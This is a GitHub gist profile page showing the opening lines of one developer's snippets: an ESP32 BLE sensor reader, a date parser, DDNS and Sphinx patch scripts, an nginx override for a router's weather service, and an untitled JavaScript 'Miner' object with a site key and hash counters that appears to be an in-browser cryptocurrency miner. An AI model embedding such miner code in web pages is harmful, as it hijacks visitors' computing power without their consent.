Skip to content

Instantly share code, notes, and snippets.

🥕
Growing carrots

Wangchong Zhou fffonion

🥕
Growing carrots
View GitHub Profile
@fffonion
fffonion / main.cpp
Created Jun 30, 2020
Read Xiaomi Mijia temperature and humidity sensor 2 (LYWSD03MMC) from ESP32
View main.cpp
#include <Arduino.h>
#include <BLEDevice.h>
BLEClient *pClient;
BLEScan *pBLEScan;
#define SCAN_TIME 10 // seconds
bool connected = false;
View rfc822.py
import re
import time
def rfc822(s):
_ = re.findall("[A-z][a-z]+,\s*([^\+G]+)(?:$|\s([\+\-]*)(\d+|GMT))", s)
if not s:
print("%s is not RFC822 Date" % s)
return 0
dt, sgn, tz = _[0]
if tz == "GMT":
@fffonion
fffonion / setup-dashbutton.py
Created Sep 28, 2019
Setting up dash button without Amazon App
View setup-dashbutton.py
import requests
import re
import sys
# Initial work from: https://mpetroff.net/2016/07/new-amazon-dash-button-teardown-jk29lp/
h = requests.Session()
BASE_URL = "http://192.168.0.1"
@fffonion
fffonion / changyan.py
Created Jun 13, 2019
畅言导出评论转换成导入评论格式
View changyan.py
import json
import time
cmt = open('export.json').read()
cmt = json.loads(cmt)
print(len(cmt['comments']))
blk = set((
'=======',
'~~~~~~~~~~~~'
@fffonion
fffonion / weather.conf
Created Mar 6, 2019
Hijack Phicomm K3 weather service to darksky weather API
View weather.conf
server {
listen 443 ssl;
listen [::]:443 ssl;
ssl_certificate certs/default.crt;
ssl_certificate_key certs/default.key;
server_name phiclouds.phicomm.com;
access_log /var/log/nginx/weather-access.log;
View gist:0d83a7f19eee4caaef8c4d0303bb8d6c
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
View csft-sphinx-2.2.11.patch
diff --git a/.gitignore b/.gitignore
index f5be264..518fcc3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -64,3 +64,10 @@
/test/ql/data/*.lock
/test/ql/*.class
/test/ql/*.exe
+
+# for qt-creator
@fffonion
fffonion / git-diff.patch
Created Sep 21, 2017
Coreseek 5.1 patch
View git-diff.patch
From c7db4c68750b17532e78da313c5b5d25a1d00a3e Mon Sep 17 00:00:00 2001
From: nzinfo <limn@coreseek.com>
Date: Thu, 13 Aug 2015 23:16:20 +0800
Subject: [PATCH] add mmseg support, begin fix pre-token
---
acinclude.m4 | 89 ++++++++++++++
configure.ac | 21 +++-
src/Makefile.am | 4 +
src/sphinx.cpp | 347 ++++++++++++++++++++++++++++++++++++++++++++++++++--
@fffonion
fffonion / cloudflare-cloudxns-ddns.sh
Created Sep 5, 2017
Dynamic DNS script using Cloudflare API v4 or CloudXNS API v2
View cloudflare-cloudxns-ddns.sh
#!/bin/bash
# can be A or AAAA
do_record=AAAA
# the interface to get ipv6 address
iface=eth0
# the static suffix we should add to
v6_suf=53
# cloudflare stuff
cf_mail="me@email.com"
@fffonion
fffonion / changyan_mod.css
Created Mar 30, 2017
Card-based Changyan comment box design
View changyan_mod.css
#SOHU_MAIN .head-img-w img, #SOHU_MAIN .header-login, #SOHU_MAIN span.header-pho, #SOHU_MAIN img.list-avatar-wap {
border-radius: 5px !important;
box-shadow: 0 1px 3px rgba(0,0,0,.22);
border: 1px solid #b9baa6 !important;
margin-left: 10px !important;
}
#SOHU_MAIN .title-user-w .user-wrap-w{
top: 42px !important;
}
#SOHU_MAIN .post-wrap-w, #SOHU_MAIN #cy-cmt-list, #SOHU_MAIN .module-mobile-cmt-header, #SOHU_MAIN .list-container-wap {
You can’t perform that action at this time.